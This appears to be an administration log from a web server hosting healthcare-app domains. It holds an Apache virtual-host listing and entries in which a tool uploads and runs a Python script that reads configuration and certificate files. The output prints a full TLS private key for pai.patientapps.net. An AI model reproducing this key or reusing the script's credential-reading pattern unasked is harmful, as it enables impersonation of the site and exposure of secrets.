alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 19:17:49:
PUT: /tmp/pkp542793
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 19:17:49:
chmod 755 /tmp/pkp542793; /tmp/pkp542793; rm /tmp/pkp542793
2026-01-05 19:17:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 1572
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 19:17:49:
PUT: /tmp/pkp213740
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 19:17:49:
chmod 755 /tmp/pkp213740; /tmp/pkp213740; rm /tmp/pkp213740
2026-01-05 19:17:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt 5372
3a:03:7c:cd:f9:ec:a9:e0:e5:7b:dd:07:de:15:09:dc
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbAv8x+Szk6grbiF0ovGE7hvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTgxOTE4WhcNMjYwNDA1MTgxOTE3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsjwJVh4zCWM/hiiFJcosWbY/68hGtAJZ9JnxE8WG7KfowXJeSYp11P6/
QK0QEmVq2ce9+RNYiRJfl5VGbBN+BQKz7xcK2VRDIWwZDQ1tVb+4o7GmeZBUBJeF
4J5Pv6CQ4MjplTRxsGhkJyBA+K4LICTokP2HLB3HJAcl2qnb4xOrsiPp9tr6zMuO
kAro9jpglnVUX371zvY5H0PhZGmLs44ZI4Tm2UFzYhh0F4Y2F6+8J5v3whRMAEc4
htq5atHoCEBa2LWJkLf7Y/8OVt2CyGdICiB28JATYj0Zyo03hcr7ep90nqjwr9Ej
nwMObug3/7NnhUPtacEhKyhreHQENQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSKIOg0KzkXC1OglXxhT8kKPnl4azAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbj5gY0AAA
BAMARzBFAiEAzU8XXTM833I1YpqxgBpovg89XPHzcnqTPqVvXRf7vAQCIH/eBHZE
dVb0ZKYquE1opZvfvDwiTmJdBsAyQn+tdvkqAH0AcX6V88I4im2x44RJPTHhWqli
CHYtQgDgBQzQZ7WmYeIAAAGbj5gZWwAIAAAFAAYX1YIEAwBGMEQCIG3DxXT6Ouq5
ap6Xz0k90UuY7UbdUFPuUBRS4eA9fJC8AiBYbfcqFjJ6tZQ41/OkC6CNAx0FlaCJ
fSeSagxup4e8xDANBgkqhkiG9w0BAQsFAAOCAQEAUyHMvScnBatiJq8poOKPTQVf
l/9EHXYhzdOqwTW0YIhuh3UayM/UvI71H7tdFN8lRDCg0VRtv7gDCd1uJRGC714P
vvNkMXDq63D4B34FllWaT/sY97H1QMdAsPAzKCi2qCELXwV3KdNwnK1eJWXnjAXh
as281X9a/HcaldvKME8spVKVlOLS6zIxuHSBS2FcMaeEOGBiOdGDzUp94ivjAYvg
piJR+X9rMj4rx6Cbge7ZxTOQjkZhTQ6C9u/Pbfyc4heHvDsHx8DPQmcNAE8OqHuE
vgVlADIP3tZeRp6F3jbTuNO3UzquLKtK5ALkA0tV7VE5ZZEJiMcEVH4wH+HLtw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyPAlWHjMJYz+G
KIUlyixZtj/ryEa0Aln0mfETxYbsp+jBcl5JinXU/r9ArRASZWrZx735E1iJEl+X
lUZsE34FArPvFwrZVEMhbBkNDW1Vv7ijsaZ5kFQEl4Xgnk+/oJDgyOmVNHGwaGQn
IED4rgsgJOiQ/YcsHcckByXaqdvjE6uyI+n22vrMy46QCuj2OmCWdVRffvXO9jkf
Q+FkaYuzjhkjhObZQXNiGHQXhjYXr7wnm/fCFEwARziG2rlq0egIQFrYtYmQt/tj
/w5W3YLIZ0gKIHbwkBNiPRnKjTeFyvt6n3SeqPCv0SOfAw5u6Df/s2eFQ+1pwSEr
KGt4dAQ1AgMBAAECggEAA/zOAhjd3d6LEH+ruA/KFF28haaKVvnuNJDwQyoMglwz
CYcyAUEM1a2SyfMi9teKccsDR/d9DISWW1XkQ/G61q1uKPr9WYDz4qx3O0wGZBvM
dKI6VyswhyhX0VrgNylhrYku4lp1Fh0zNGpQYvIwJ/YEkkS0Etb0kT7+Q5kuQGoO
Z6yy3XyAyjhEsVzPszWCfCqWJ5JI4B0ZBE2BtCBtF3x5qYNuW/TfvhO8RWV5eKHq
xyKgzTwqJoThtMnnHJWB0w0D+NAhJmtOhbkjEC7Z31TBB6+9pZgYgCK3mZdhz55I
labe8xbo8GPF0k8a0zrbKlQjt9Z6Jn6JdhAdPCBIlwKBgQDxKF1H08E9oK/H3bdz
cduZkmS5f4LtEukzqb9RJ96dDeVDrwOzXExC8pm/W8df+8lY/ZgbNFuZIUtmcMUC
ZZJrEp7JinRX5wLpdJu30QGXnlloRdlkLwDe+lqLIf/IQhkYAjO+RNssPJk2AQeM
TCJTVZk7l9v9I43dHCCtTrRmMwKBgQC9NEQ5xO1eEGY+3EQ7qKZ3Z7+id6Wndo10
KPCAiWTE4h8chN0DQYdBtFc/hE4BhzLAtxuUpIAGGQ6puV20ZC8xCT04CmFTo5ED
Vp+Mt69JTcmeFyCqYxI/+eybAEd/7RbvBIgxE3ot4XQUA8MDt6ZPHOKtojgprCiS
vFTzdhHz9wKBgQCsjZI5K8YwP4KnQvjZzNUxjHMv25Il6gsc4U+4VQvPWrr59Ad0
1gznNklWh+gfwLxwRXwJsyv7ZLxbv0LoFR9wJ7GgScY3g18tBjfJje5Su4YDuz7y
lUNNSNtyhFBNzSXBbQnzEbe1bmK+JnxtIajJ8gyjfGR3O3JtjIvBFfi0ywKBgGC4
+nPJ30qp+YsDEYKqGceK6yWEItQ0P+X1E9Wx5yjbK+ppZY7Hjfyh08Rtv276jZCF
Sv03BxeW8a8ESwnv+UwJHBms/MpEINrjCpdmQ56mvH4r9pAEK403F6S5hNO6AXJZ
D8J+4YPY8H1W2vfoh4WED8GR30I2d1tkGc2IO29LAoGBAKOtKvZ6jlUIaGPUMdo5
5xbMM1b8Q8BgcdoDnIGAnFPoxmw2VsSpvktl0zpoEbqVPctur5YRKQ7Ha98Rwy6b
5YxhOKi111d2Rlc6oMWVQ99DxlMF+V05Z/5Yq4P1UeGQdYDfDu6qDa7p2rcdDrNq
P2UQob3+Wj7CHR0DSk+U9ROP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
